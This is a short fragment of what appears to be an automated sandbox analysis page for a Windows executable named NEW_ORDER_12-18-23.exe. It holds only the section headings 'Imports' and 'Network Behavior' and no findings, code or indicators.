Imports

Network Behavior

Windows Analysis Report
NEW_ORDER_12-18-23.exe